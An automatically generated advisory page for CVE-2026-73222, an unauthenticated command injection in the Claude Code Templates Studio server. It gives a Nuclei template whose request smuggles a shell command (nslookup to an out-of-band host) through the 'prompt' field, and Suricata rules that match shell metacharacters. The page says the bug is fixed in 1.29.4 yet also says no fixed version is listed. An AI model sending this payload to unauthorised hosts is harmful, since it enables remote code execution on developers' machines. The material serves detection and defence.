CVE-2026-73222: Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)

What it is

Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer’s privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-08-11).

Weakness: CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’); CWE-306: Missing Authentication for Critical Function; CWE-352: Cross-Site Request Forgery (CSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and a user must take an action. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 10 references on Exploit Observer

Live scores

EPSS

0.003
low predicted chance of attack

VEDAS

0.987
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Claude Code Templates - Studio Server Unauthenticated OS Command Injection

Claude Code Templates (npm claude-code-templates) prior to 1.29.4 ships a Studio server (enabled with --studio, cli-tool/src/sandbox-server.js) that binds to all interfaces on port 3444, returns Access-Control-Allow-Origin: * and requires no authentication. The POST /api/execute endpoint passes the request-body “prompt” field into spawn(‘claude’, [prompt], { shell: true }); because the shell option joins the argv into a single string executed by /bin/sh, shell metacharacters in the value are interpreted, giving an unauthenticated remote attacker arbitrary OS command execution with the developer’s privileges. This template confirms the injection out-of-band by making the server resolve a unique Interactsh hostname and matching the resulting DNS interaction.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/execute); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-73222.yaml

id: CVE-2026-73222

info:
  name: "Claude Code Templates - Studio Server Unauthenticated OS Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Claude Code Templates (npm claude-code-templates) prior to 1.29.4 ships a Studio server
    (enabled with --studio, cli-tool/src/sandbox-server.js) that binds to all interfaces on
    port 3444, returns Access-Control-Allow-Origin: * and requires no authentication. The
    POST /api/execute endpoint passes the request-body "prompt" field into
    spawn('claude', [prompt], { shell: true }); because the shell option joins the argv into a
    single string executed by /bin/sh, shell metacharacters in the value are interpreted,
    giving an unauthenticated remote attacker arbitrary OS command execution with the
    developer's privileges. This template confirms the injection out-of-band by making the
    server resolve a unique Interactsh hostname and matching the resulting DNS interaction.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-73222&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=claude-code-templates&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-73222
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,claude-code-templates,rce,oast,intrusive

http:
  - raw:
      - |
        POST /api/execute HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"prompt":"vedasvedas;nslookup {{interactsh-url}};","mode":"local"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2026-73222.yaml on GitHub

Suricata rules (network detection)

2 rules that alert on traffic matching this exploit: VEDAS CVE-2026-73222 Claude Code Templates - Studio Server Unauthenticated OS Command Injection Attempt (/api/execute). Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-73222 Claude Code Templates - Studio Server Unauthenticated OS Command Injection Attempt (/api/execute)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/execute"; fast_pattern; http.request_body; content:"prompt"; nocase; pcre:"/\x22prompt\x22\s*\x3a\s*\x22[^\x22]*[\x3b\x7c\x26\x60\x24]/Pi"; classtype:web-application-attack; reference:cve,CVE-2026-73222; reference:url,https://www.exploit.observer/?keyword=CVE-2026-73222&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=claude-code-templates&match=exact; sid:1097400; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-73222 Claude Code Templates - Studio Server Unauthenticated Agent Command Injection Attempt (/api/install-agent)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/install-agent"; fast_pattern; http.request_body; content:"agentName"; nocase; pcre:"/\x22agentName\x22\s*\x3a\s*\x22[^\x22]*[\x3b\x7c\x26\x60\x24]/Pi"; classtype:web-application-attack; reference:cve,CVE-2026-73222; reference:url,https://www.exploit.observer/?keyword=CVE-2026-73222&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=claude-code-templates&match=exact; sid:1097401; rev:1;)

CVE-2026-73222.rules on GitHub

References

Other references

• https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg (x_refsource_CONFIRM)
• https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783 (x_refsource_MISC)
• https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md (x_refsource_MISC)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.